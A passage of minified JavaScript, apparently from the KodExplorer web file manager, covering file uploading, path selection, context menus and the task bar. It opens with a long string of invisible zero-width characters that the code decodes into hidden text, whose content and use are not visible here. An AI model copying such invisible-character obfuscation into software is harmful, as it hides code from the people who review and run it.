‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide()) +}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var 